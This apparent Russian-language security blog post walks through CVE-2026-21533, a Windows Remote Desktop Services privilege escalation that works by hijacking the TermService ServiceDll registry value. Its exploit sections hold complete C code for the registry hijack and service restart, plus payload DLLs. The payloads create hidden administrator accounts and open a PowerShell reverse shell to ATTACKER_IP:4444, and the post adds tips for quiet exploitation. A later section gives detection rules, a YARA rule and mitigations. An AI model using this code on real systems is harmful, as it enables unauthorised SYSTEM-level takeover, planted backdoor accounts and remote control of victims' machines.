Skip to content

GlobThe.Top

  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware Malware Analysis
  • Protected Process Light (PPL) в 2026 — как Windows защищает критические процессы и как это обходят Uncategorized
  • Process Injection 2026 — Все техники инъекции кода в Windows с примерами Injection
  • Внутри WMI: Трассировка Windows Management от потребителей до COM-провайдеров Windows Internals
  • Повышение привилегий в Windows: техники 2026 года Privesc
  • Повышение привилегий Windows: рабочие техники 2025 года Privesc
  • Обфускация кода C/WinAPI: от основ до продвинутых техник Обход EDR
  • Fileless Malware: .NET Assembly Loading из памяти Evasion

CVE-2026-21533: RDS Privilege Escalation — от обычного юзера до SYSTEM

Posted on 29 марта, 2026 By AkaTor
Download PDF

Категория: Red Team / Blue Team / Purple Team
Уровень: Intermediate → Advanced
Автор: Aka Tor
CVE: CVE-2026-21533
CVSS: 7.8 (High)
Дата: Февраль 2026


Введение

CVE-2026-21533 — zero-day уязвимость в Windows Remote Desktop Services, обнаруженная CrowdStrike и пропатченная Microsoft 10 февраля 2026. Позволяет аутентифицированному пользователю с минимальными правами получить NT AUTHORITY\SYSTEM через модификацию реестра сервиса TermService.

Ключевые факты:

  • Эксплуатировалась in-the-wild с декабря 2025 (APT группы, цели: США и Канада)
  • Эксплойт продавался на дарквебе за $220,000
  • CISA добавила в KEV Catalog с дедлайном 3 марта 2026
  • Несмотря на слово «Remote Desktop» — это локальная EoP, не RCE

1. Как работает уязвимость

1.1 Корень проблемы: Improper Privilege Management (CWE-269)

Windows RDS сервис (TermService) хранит конфигурацию в реестре:

HKLM\SYSTEM\CurrentControlSet\Services\TermService

Ключевые значения:
  ImagePath    = svchost.exe -k NetworkService
  ObjectName   = NT Authority\NetworkService
  Start        = 3 (Manual) или 2 (Auto)

Параметры:
  HKLM\...\TermService\Parameters
    ServiceDll = %SystemRoot%\System32\termsrv.dll

1.2 Уязвимость

Проблема в ACL (Access Control List) на ключ реестра TermService\Parameters. В уязвимых версиях Windows, обычный аутентифицированный пользователь может модифицировать значение ServiceDll — DLL которую загружает svchost.exe при старте сервиса TermService.

Нормальный flow:
  1. TermService запускается → svchost.exe -k NetworkService
  2. svchost загружает ServiceDll = termsrv.dll
  3. termsrv.dll работает как NETWORK SERVICE → SYSTEM

Атака:
  1. Атакующий меняет ServiceDll = C:\Temp\evil.dll
  2. Перезапуск TermService (или перезагрузка)
  3. svchost загружает evil.dll вместо termsrv.dll
  4. evil.dll выполняется как SYSTEM!

1.3 Почему это работает

TermService запускается от SYSTEM:
  - svchost.exe (SYSTEM) → загружает ServiceDll
  - ServiceDll выполняется в контексте SYSTEM
  - Если подменить ServiceDll → произвольный код как SYSTEM

Почему ACL уязвим:
  - Нормально: только SYSTEM и Administrators могут писать в Services\*
  - Баг: TermService\Parameters имел слабый ACL
  - Authenticated Users или INTERACTIVE могли менять ServiceDll
  - Microsoft не проверял ACL при каждой модификации

2. Exploit — пошаговая эксплуатация

2.1 Проверка уязвимости

// Проверка: можем ли мы менять ServiceDll в TermService\Parameters
#include <windows.h>
#include <stdio.h>

BOOL CheckVulnerable() {
    HKEY hKey;
    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
        0, KEY_SET_VALUE, &hKey);

    if (result == ERROR_SUCCESS) {
        printf("[!] VULNERABLE: Can write to TermService\\Parameters!\n");
        RegCloseKey(hKey);
        return TRUE;
    } else if (result == ERROR_ACCESS_DENIED) {
        printf("[*] PATCHED: Access denied to TermService\\Parameters\n");
        return FALSE;
    } else {
        printf("[-] Error: %d\n", result);
        return FALSE;
    }
}

2.2 Создание payload DLL

// evil_svc.dll — DLL которая запустится как SYSTEM
// Компиляция: cl.exe /LD evil_svc.dll.c /Fe:evil_svc.dll

#include <windows.h>

// ServiceMain — вызывается svchost.exe
void WINAPI ServiceMain(DWORD argc, LPWSTR* argv) {
    // Payload: добавляем юзера в Administrators
    system("net user hacker P@ssw0rd123 /add");
    system("net localgroup Administrators hacker /add");

    // Или: reverse shell, beacon, etc.

    // Важно: нужно зарегистрировать service control handler
    // иначе сервис упадёт
    SERVICE_STATUS_HANDLE hStatus;
    SERVICE_STATUS status = { 0 };
    status.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
    status.dwCurrentState = SERVICE_RUNNING;

    hStatus = RegisterServiceCtrlHandlerW(L"TermService", NULL);
    if (hStatus) SetServiceStatus(hStatus, &status);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Запускаем cmd.exe как SYSTEM для демонстрации
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi = { 0 };
        CreateProcessA(NULL, "cmd.exe /c whoami > C:\\Windows\\Temp\\pwned.txt",
            NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
        if (pi.hProcess) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
    }
    return TRUE;
}

2.3 Exploit: подмена ServiceDll

// CVE-2026-21533 Exploit: подмена TermService ServiceDll
// Требует: аутентифицированный юзер на уязвимой системе
// Результат: произвольный код как SYSTEM при перезапуске TermService

#include <windows.h>
#include <stdio.h>

#define REG_PATH "SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters"
#define BACKUP_VALUE "ServiceDll_backup"

// Шаг 1: Бэкап оригинального ServiceDll
BOOL BackupOriginal(char* originalPath, DWORD size) {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_PATH, 0,
        KEY_READ, &hKey) != ERROR_SUCCESS) return FALSE;

    DWORD type, dataSize = size;
    RegQueryValueExA(hKey, "ServiceDll", NULL, &type,
        (BYTE*)originalPath, &dataSize);
    RegCloseKey(hKey);

    printf("[*] Original ServiceDll: %s\n", originalPath);
    return TRUE;
}

// Шаг 2: Подмена ServiceDll на нашу DLL
BOOL ReplaceServiceDll(const char* evilDllPath) {
    HKEY hKey;
    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_PATH, 0,
        KEY_SET_VALUE, &hKey);

    if (result != ERROR_SUCCESS) {
        printf("[-] Cannot open key: %d (PATCHED or insufficient rights)\n", result);
        return FALSE;
    }

    // Записываем путь к нашей DLL
    result = RegSetValueExA(hKey, "ServiceDll", 0, REG_EXPAND_SZ,
        (BYTE*)evilDllPath, (DWORD)strlen(evilDllPath) + 1);

    RegCloseKey(hKey);

    if (result == ERROR_SUCCESS) {
        printf("[+] ServiceDll replaced: %s\n", evilDllPath);
        return TRUE;
    }
    printf("[-] RegSetValueEx failed: %d\n", result);
    return FALSE;
}

// Шаг 3: Перезапуск сервиса (если есть права) или ждём перезагрузку
BOOL RestartTermService() {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE hSvc = OpenServiceA(hSCM, "TermService",
        SERVICE_STOP | SERVICE_START | SERVICE_QUERY_STATUS);

    if (!hSvc) {
        printf("[*] Cannot restart TermService (need admin for restart)\n");
        printf("[*] DLL will load on next system reboot\n");
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    // Stop
    SERVICE_STATUS ss;
    ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
    printf("[*] Stopping TermService...\n");
    Sleep(2000);

    // Start → загрузит нашу DLL
    if (StartServiceA(hSvc, 0, NULL)) {
        printf("[+] TermService restarted → evil DLL loaded as SYSTEM!\n");
    } else {
        printf("[*] Start failed: %d (will load on reboot)\n", GetLastError());
    }

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return TRUE;
}

// Шаг 4: Восстановление оригинала (cleanup)
BOOL RestoreOriginal(const char* originalPath) {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_PATH, 0,
        KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) return FALSE;

    RegSetValueExA(hKey, "ServiceDll", 0, REG_EXPAND_SZ,
        (BYTE*)originalPath, (DWORD)strlen(originalPath) + 1);
    RegCloseKey(hKey);

    printf("[+] Original ServiceDll restored\n");
    return TRUE;
}

2.4 Полный Exploit Flow

Атакующий (low-privilege user):

1. Проверка: RegOpenKeyEx(TermService\Parameters, KEY_SET_VALUE)
   → ERROR_SUCCESS = уязвимо!

2. Бэкап: читаем текущий ServiceDll
   → %SystemRoot%\System32\termsrv.dll

3. Создаём evil.dll:
   → DllMain() → CreateProcess("cmd.exe") или reverse shell
   → Копируем в C:\Users\Public\evil.dll

4. Подмена: RegSetValueEx("ServiceDll", "C:\Users\Public\evil.dll")

5. Trigger:
   a) Если можем перезапустить сервис → мгновенный SYSTEM
   b) Если нет → ждём перезагрузку

6. Profit: evil.dll загружается svchost.exe как SYSTEM!

7. Cleanup: восстанавливаем оригинальный ServiceDll

3. Варианты эксплуатации

3.1 Вариант A: Добавление admin-юзера

// DLL payload: net user + net localgroup
// При загрузке svchost.exe → создаёт admin аккаунт

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        WinExec("cmd.exe /c net user backdoor P@ss123! /add && "
                "net localgroup Administrators backdoor /add",
                SW_HIDE);
    }
    return TRUE;
}

3.2 Вариант B: Reverse Shell

// DLL payload: PowerShell reverse shell
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        WinExec("powershell.exe -nop -w hidden -ep bypass -c "
                "\"$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);"
                "$s=$c.GetStream();[byte[]]$b=0..65535|%{0};"
                "while(($i=$s.Read($b,0,$b.Length))-ne 0){"
                "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
                "$r=(iex $d 2>&1|Out-String);"
                "$r2=$r+'PS '+(pwd).Path+'> ';"
                "$sb=([text.encoding]::ASCII).GetBytes($r2);"
                "$s.Write($sb,0,$sb.Length)}\"",
                SW_HIDE);
    }
    return TRUE;
}

3.3 Вариант C: Token theft (без файлов на диске)

// DLL payload: крадёт SYSTEM token и запускает cmd.exe
// Выполняется в контексте svchost.exe (уже SYSTEM)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Мы уже SYSTEM (svchost.exe загрузил нас)
        // Просто запускаем cmd.exe на десктопе юзера
        STARTUPINFOA si = { sizeof(si) };
        si.lpDesktop = "WinSta0\\Default";
        PROCESS_INFORMATION pi = { 0 };
        CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
            CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
        if (pi.hProcess) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
    }
    return TRUE;
}

4. Детект и защита

4.1 Blue Team: обнаружение

Sysmon Rules:

Event ID 13 (Registry Value Set):
  TargetObject: HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters\ServiceDll
  → Алерт если Image != C:\Windows\system32\svchost.exe
  → Алерт если Details != %SystemRoot%\System32\termsrv.dll

Event ID 7 (Image Loaded):
  ImageLoaded: != C:\Windows\System32\termsrv.dll
  Process: svchost.exe с TermService
  → Подозрительная DLL загружена в TermService

Event ID 1 (Process Create):
  ParentImage: svchost.exe
  ParentCommandLine: contains "TermService"
  Image: cmd.exe / powershell.exe / net.exe
  → TermService порождает подозрительный процесс
// Detector: проверка ServiceDll TermService
void CheckTermServiceIntegrity() {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
        0, KEY_READ, &hKey) != ERROR_SUCCESS) return;

    char serviceDll[MAX_PATH] = { 0 };
    DWORD size = sizeof(serviceDll), type;
    RegQueryValueExA(hKey, "ServiceDll", NULL, &type,
        (BYTE*)serviceDll, &size);
    RegCloseKey(hKey);

    // Нормализуем путь
    char expanded[MAX_PATH];
    ExpandEnvironmentStringsA(serviceDll, expanded, MAX_PATH);

    // Проверяем
    if (_stricmp(expanded, "C:\\Windows\\System32\\termsrv.dll") != 0) {
        printf("[!!!] ALERT: TermService ServiceDll MODIFIED!\n");
        printf("      Current: %s\n", expanded);
        printf("      Expected: C:\\Windows\\System32\\termsrv.dll\n");
        printf("      Possible CVE-2026-21533 exploitation!\n");
    } else {
        printf("[OK] TermService ServiceDll is legitimate\n");
    }
}

// Проверка ACL на TermService\Parameters
void CheckTermServiceACL() {
    HKEY hKey;
    // Пробуем открыть на запись от текущего юзера
    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
        0, KEY_SET_VALUE, &hKey);

    if (result == ERROR_SUCCESS) {
        printf("[!!!] VULNERABLE: Current user can modify TermService!\n");
        printf("      System is NOT patched for CVE-2026-21533!\n");
        RegCloseKey(hKey);
    } else {
        printf("[OK] TermService\\Parameters is protected (patched)\n");
    }
}

4.2 YARA Rule

rule CVE_2026_21533_Exploit {
    meta:
        description = "Detects CVE-2026-21533 TermService ServiceDll hijack"
        author = "Aka Tor"
        date = "2026-03"

    strings:
        $reg1 = "TermService\\Parameters" ascii wide nocase
        $reg2 = "ServiceDll" ascii wide nocase
        $api1 = "RegSetValueEx" ascii
        $api2 = "RegOpenKeyEx" ascii
        $svc1 = "TermService" ascii wide
        $svc2 = "termsrv.dll" ascii wide nocase

    condition:
        uint16(0) == 0x5A4D and
        ($reg1 and $reg2 and ($api1 or $api2)) and
        not $svc2
}

4.3 Mitigation

  • Patch: установить обновление KB5034763 (February 2026 Patch Tuesday)
  • ACL Fix: вручную ограничить права на HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters — только SYSTEM и Administrators
  • Мониторинг: Sysmon Event ID 13 на TermService registry changes
  • Отключить RDS если не используется: sc config TermService start= disabled
  • Integrity check: периодическая проверка ServiceDll = termsrv.dll

5. Affected Systems

ОС Версия Уязвима
Windows 10 1607, 1809, 21H2, 22H2 Да (до KB5034763)
Windows 11 22H2, 23H2, 24H2, 25H2, 26H1 Да (до KB5034763)
Windows Server 2012 R2 All Да
Windows Server 2016 All Да
Windows Server 2019 All Да
Windows Server 2022 All Да
Windows Server 2025 All Да

6. Timeline

Декабрь 2025    — Первые эксплуатации in-the-wild (США, Канада)
Январь 2026     — CrowdStrike обнаруживает и репортит Microsoft
10 Февраля 2026 — Microsoft выпускает патч (Patch Tuesday)
11 Февраля 2026 — CISA добавляет в KEV Catalog
10 Марта 2026   — Эксплойт продаётся на дарквебе за $220,000
Март 2026       — Множество организаций всё ещё не пропатчены

7. Рекомендации

Для Red Team

  • Проверяй ACL на TermService\Parameters на каждой машине
  • Если уязвимо — одна запись в реестр = SYSTEM
  • Payload DLL должна реализовать ServiceMain чтобы сервис не крашился
  • Cleanup: восстанови оригинальный ServiceDll после эксплуатации
  • Тихий вариант: не перезапускай сервис, жди reboot

Для Blue Team

  • PATCH НЕМЕДЛЕННО — KB5034763
  • Sysmon rule на TermService\Parameters модификацию
  • Проверить все серверы с RDS на наличие модифицированного ServiceDll
  • Аудит ACL: Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\TermService\Parameters" | Format-List
  • Отключить RDS где не нужен

Для Purple Team

  • Проверьте уязвимость на всех Windows серверах в инфраструктуре
  • Создайте детект-правило до патча — мониторинг ServiceDll
  • MITRE ATT&CK: T1543.003 (Create or Modify System Process: Windows Service)
  • Тестируйте детект: подмените ServiceDll → проверьте что SIEM алертит

Заключение

CVE-2026-21533 — простая но мощная уязвимость. Одна запись в реестр = SYSTEM. Нет необходимости в сложных exploit chains, ROP gadgets или kernel exploits. Просто RegSetValueEx на ключ который должен был быть защищён. Это напоминание что самые опасные баги — не в сложном коде, а в неправильных ACL.

Проверьте свои серверы прямо сейчас.


Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.

CVE

Навигация по записям

Previous Post: Повышение привилегий Windows: рабочие техники 2025 года
Next Post: CVE-2026-21509: APT28 — от фишинга до SYSTEM за 48 часов

Related Posts

  • CVE-2026-21509: APT28 — от фишинга до SYSTEM за 48 часов CVE

Archives

  • Апрель 2026
  • Март 2026

Categories

  • Browser Exploitation
  • CVE
  • Evasion
  • Injection
  • Lateral Movement
  • Linux Kernel Exploitation
  • Malware Analysis
  • Persistence
  • Privesc
  • Reverse Engineering
  • Uncategorized
  • Vulnerability Research
  • Windows Internals
  • Windows Kernel
  • Windows Persistence
  • Обход EDR

Recent Posts

  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM
  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Recent Comments

Нет комментариев для просмотра.
  • Windows Persistence 2026 — Полный гайд: все техники закрепления с кодом Windows Persistence
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update Reverse Engineering
  • Обфускация кода C/WinAPI: от основ до продвинутых техник Обход EDR
  • CVE-2025-14325: Ломаем JIT — эксплуатация Type Confusion в SpiderMonkey Browser Exploitation
  • Продвинутый обход EDR: техники 2025 года Обход EDR
  • Как EDR видит угрозы — и где он слепнет Обход EDR
  • Narrator DLL Hijacking: SYSTEM persistence через Accessibility Features Persistence
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo Vulnerability Research

Copyright © 2026 GlobThe.Top.

Powered by PressBook News Dark theme